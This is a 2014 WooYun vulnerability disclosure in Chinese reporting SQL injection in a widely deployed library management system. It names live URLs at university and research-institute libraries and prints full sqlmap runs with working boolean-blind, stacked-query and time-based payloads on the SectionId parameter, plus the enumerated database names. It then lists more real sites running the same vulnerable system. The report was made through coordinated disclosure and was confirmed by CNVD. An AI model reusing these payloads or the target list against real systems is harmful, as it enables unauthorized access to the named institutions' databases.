当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070233

漏洞标题:某通用图书馆管理系统SQL注入(这个系统被弄坏了...)

相关厂商:某图书管理系统

漏洞作者: Mosuan

提交时间:2014-08-01 12:04

修复时间:2014-10-30 12:06

公开时间:2014-10-30 12:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-09: 细节向第三方安全合作伙伴开放
2014-09-30: 细节向核心白帽子及相关领域专家公开
2014-10-10: 细节向普通白帽子公开
2014-10-20: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

rt

详细说明:

找通用型的,看到了wefgod的这个
WooYun: 某图书馆系统SQL注入漏洞
层层递归,还有这个
WooYun: 某通用图书馆管理系统SQL注入
和这个
WooYun: 某通用图书馆管理SQL注入(中科院计算技术研究所中招)
最后还有这个
WooYun: 某通用图书馆管理系统SQL注入
我翻了好久终于发现没有跟他们重复的了.....我日....

注入地址:http://219.242.65.10/ArticleShow.aspx?SectionId=181b46a7-4342-4daf-94b1
-1852417a76da&Aid=5518
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:34:37
[02:34:37] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\219.242.65.10\session' as session file
[02:34:37] [INFO] resuming back-end DBMS 'microsoft sql server 2008' from sessio
n file
[02:34:37] [INFO] testing connection to the target url
[02:34:38] [INFO] testing if the url is stable, wait a few seconds
[02:34:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[02:34:43] [INFO] testing if GET parameter 'SectionId' is dynamic
[02:34:45] [INFO] confirming that GET parameter 'SectionId' is dynamic
[02:34:47] [INFO] GET parameter 'SectionId' is dynamic
[02:34:48] [WARNING] heuristic test shows that GET parameter 'SectionId' might n
ot be injectable
[02:34:48] [INFO] testing sql injection on GET parameter 'SectionId'
[02:34:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:35:03] [INFO] GET parameter 'SectionId' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[02:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:35:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:35:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:35:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:35:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:35:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:35:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:35:37] [INFO] GET parameter 'SectionId' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[02:35:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:35:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:35:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:36:04] [INFO] GET parameter 'SectionId' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[02:36:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:36:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:36:28] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[02:36:43] [INFO] target url appears to have 22 columns in query
[02:38:01] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'SectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 84 HTTP(s) requ
ests:
---
Place: GET
Parameter: SectionId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: SectionId=181b46a7-4342-4daf-94b1-1852417a76da' AND 5838=5838 AND '
lcpp'='lcpp&Aid=5518
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: SectionId=181b46a7-4342-4daf-94b1-1852417a76da'; WAITFOR DELAY '0:0
:5';-- AND 'nPQU'='nPQU&Aid=5518
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: SectionId=181b46a7-4342-4daf-94b1-1852417a76da' WAITFOR DELAY '0:0:
5'-- AND 'csTZ'='csTZ&Aid=5518
---
[02:38:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[02:38:01] [INFO] fetching database names
[02:38:01] [INFO] fetching number of databases
[02:38:01] [INFO] resumed: 7
[02:38:01] [INFO] resumed: kuangdalib
[02:38:01] [INFO] resumed: master
[02:38:01] [INFO] resumed: model
[02:38:01] [INFO] resumed: msdb
[02:38:01] [INFO] resumed: ReportServer
[02:38:01] [INFO] resumed: ReportServerTempDB
[02:38:01] [INFO] resumed: tempdb
available databases [7]:
[*] kuangdalib
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[02:38:01] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\219.242.65.10'
[*] shutting down at 02:38:01


注入地址:http://nhlib.com.cn/ArticleShow.aspx?SectionId=4f076ee0-bef9-4fe6-a941-
c9e16874e731&Aid=5640
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:25:23
[02:25:23] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\nhlib.com.cn\session' as session file
[02:25:23] [INFO] testing connection to the target url
[02:25:24] [INFO] testing if the url is stable, wait a few seconds
[02:25:26] [INFO] url is stable
[02:25:26] [INFO] testing if GET parameter 'SectionId' is dynamic
[02:25:26] [INFO] confirming that GET parameter 'SectionId' is dynamic
[02:25:27] [WARNING] GET parameter 'SectionId' appears to be not dynamic
[02:25:27] [WARNING] heuristic test shows that GET parameter 'SectionId' might n
ot be injectable
[02:25:27] [INFO] testing sql injection on GET parameter 'SectionId'
[02:25:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:25:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:25:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:25:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:25:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:25:37] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:25:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:25:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:26:23] [INFO] GET parameter 'SectionId' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[02:26:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:26:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:26:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:27:04] [INFO] GET parameter 'SectionId' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[02:27:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:27:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:27:20] [INFO] checking if the injection point on GET parameter 'SectionId' i
s a false positive
GET parameter 'SectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
[02:28:59] [INFO] testing if GET parameter 'Aid' is dynamic
[02:29:00] [INFO] confirming that GET parameter 'Aid' is dynamic
[02:29:01] [INFO] GET parameter 'Aid' is dynamic
[02:29:01] [WARNING] heuristic test shows that GET parameter 'Aid' might not be
injectable
[02:29:01] [INFO] testing sql injection on GET parameter 'Aid'
[02:29:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:29:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:29:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:29:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:29:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:29:20] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:29:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:29:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:29:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:29:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:29:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:29:41] [INFO] testing 'Oracle AND time-based blind'
[02:29:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:30:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:30:19] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[02:30:53] [WARNING] GET parameter 'Aid' is not injectable
sqlmap identified the following injection points with a total of 213 HTTP(s) req
uests:
---
Place: GET
Parameter: SectionId
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: SectionId=4f076ee0-bef9-4fe6-a941-c9e16874e731'; WAITFOR DELAY '0:0
:5';-- AND 'IsKs'='IsKs&Aid=5640
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: SectionId=4f076ee0-bef9-4fe6-a941-c9e16874e731' WAITFOR DELAY '0:0:
5'-- AND 'lXpu'='lXpu&Aid=5640
---
[02:30:53] [INFO] testing MySQL
[02:30:53] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[02:30:53] [WARNING] the back-end DBMS is not MySQL
[02:30:53] [INFO] testing Oracle
[02:30:54] [WARNING] the back-end DBMS is not Oracle
[02:30:54] [INFO] testing PostgreSQL
[02:30:54] [WARNING] the back-end DBMS is not PostgreSQL
[02:30:54] [INFO] testing Microsoft SQL Server
[02:31:15] [INFO] confirming Microsoft SQL Server
[02:31:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[02:31:36] [INFO] fetching database names
[02:31:36] [INFO] fetching number of databases
[02:31:36] [INFO] retrieved:
[02:31:56] [INFO] adjusting time delay to 2 seconds due to good response times
7
[02:32:08] [INFO] retrieved: maste
[02:35:34] [ERROR] invalid character detected. retrying..
[02:35:34] [WARNING] increasing time delay to 3 seconds
[02:36:33] [ERROR] invalid character detected. retrying..
[02:36:33] [WARNING] increasing time delay to 4 seconds


太卡了.
这里再给出其他一些案例吧,证明通用性
国家图书馆中央社会主义分馆:http://www.zysylib.org.cn/
中国科学院物理研究所:http://libiop.iphy.ac.cn/
中国科学院软研所:http://124.16.136.160:8083/iscas_lib/
还有各种大学用户,
中国矿业大学:http://219.242.65.10/fsweb/Default.aspx
华东交通大学:http://lib.ecjtu.jx.cn:80/gdweb
华北科技学院:http://211.81.174.140/
等等

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-08-06 08:27

厂商回复:

CNVD确认并复现所述相关案例,已经转由CNCERT向教育网应急组织通报所述教育网案例。

最新状态:

暂无